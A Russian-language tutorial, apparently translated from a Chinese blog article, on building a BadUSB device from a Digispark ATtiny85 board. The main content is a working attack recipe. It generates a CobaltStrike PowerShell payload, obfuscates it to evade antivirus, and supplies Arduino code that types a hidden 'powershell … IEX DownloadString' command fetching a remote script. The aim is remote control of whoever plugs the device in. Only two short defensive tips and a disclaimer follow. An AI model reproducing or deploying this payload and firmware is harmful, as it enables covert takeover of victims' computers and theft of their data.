После того, как исследователи Якоб Лелль и Карстен Нол продемонстрировали метод атаки badusb на конференции Black Hat в 2014 году в США, хотя и были некоторые статьи, посвященные badusb в Китае, большинство людей все еще чувствовали себя «неясно» после прочтения всех соответствующих статей. , badusb все еще имеет туманную пелену. Эта статья поможет вам раскрыть эту загадочную завесу.
Принцип Badusb: используйте HID (Human Interface Device, устройство, с помощью которого компьютеры напрямую взаимодействуют с людьми, например, клавиатуры, мыши и т. д.) для атаки, замаскируйте USB-устройство так, чтобы компьютер распознал его как клавиатуру, а затем используйте микроконтроллер. чип в USB-устройстве для отправки данных на хост-команду для достижения полного контроля над хостом.
Причина уязвимости: Сейчас существует множество USB-устройств, таких как аудио- и видеоаппаратура, камеры и т. д., поэтому от системы требуется обеспечить максимальную совместимость, даже без драйверов, поэтому при проектировании стандарта USB нет; Требование, чтобы каждое USB-устройство занимало уникальный MAC-адрес, позволяет системе аутентифицироваться, но позволяет USB-устройству иметь характеристики нескольких устройств ввода и вывода. Таким образом, атака может быть осуществлена путем перезаписи прошивки флешки, маскировки ее под USB-клавиатуру и ввода команд и кодов, интегрированных в прошивку флешки, через виртуальную клавиатуру.
Аппаратные материалы:
Плата для разработки Digispark (Attiny85) (я использую классический вариант резиновой уточки)
компьютер
шаг:
1. Сначала мы устанавливаем CobaltStrike. Здесь нам нужно использовать сервер с общедоступным IP-адресом для создания исполняемой программы Powershell в формате файла ps1 (конкретный процесс установки и генерации полезных данных не будет подробно описан. Используйте Baidu самостоятельно. Вот я использую CobaltStrike4.0).
2. Используйте программу Python с открытым исходным кодом Invoke-Obfuscation, чтобы избежать уничтожения сценария ps1, сгенерируйте убийственную версию файла сценария ps1 и загрузите ее на свой веб-сервер для резервного копирования.
Githubадрес:https://github.com/danielbohannon/Invoke-Obfuscation(Я не буду здесь вдаваться в подробности процесса избежания убийства.,Пожалуйста, проверьте README.md Invoke-Obfuscation самостоятельно).
3. Установите драйвер платы разработки Digispark (Attiny85).
4. Установите и откройте программное обеспечение Arduino.,Нажмите «Настройки» в файле.,Введите дополнительный URL-адрес менеджера платы разработки.:https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json
5. Щелкните диспетчер плат разработки на плате разработки в инструменте, дождитесь завершения индекса загрузки (если загрузка не удалась, воспользуйтесь зарубежным агентом), найдите и установите «Digistump AVR Boards от Digistump» и выберите Digispark на плате разработки после завершения установки (по умолчанию — 16,5 МГц).
7. Введите следующий код в поле кода Arduino, чтобы получить фальшивый вывод с клавиатуры (win+r), чтобы открыть окно запуска и выполнить команду Powershell.
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://web.com/tianle.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
8. Загрузите код на плату разработки, вставьте badusb в течение 60 с и дождитесь завершения записи.
9. Производство Badusb завершено, и тот, кто подключен, находится в сети. Вот только несколько фотографий успешных онлайн-операций, скриншоты, vnc, получение файлов и другие операции удаленного управления инструментом CobaltStrike не показаны.
Меры защиты:
1. Не подключайте незнакомые USB-устройства.
2. Используйте SecUSB 360 или SecLine Tencent.
Примечание. Цель показа способов атаки — рассказать всем об этой уязвимости, понять и осознать важность сетевой безопасности и лучше защищаться, а не использовать ее как оружие для нанесения вреда другим.
Ссылка на эту статью:https://cloud.tencent.com/developer/article/2359320
Оригинальная статья Тианле, при перепечатке указывайте источник!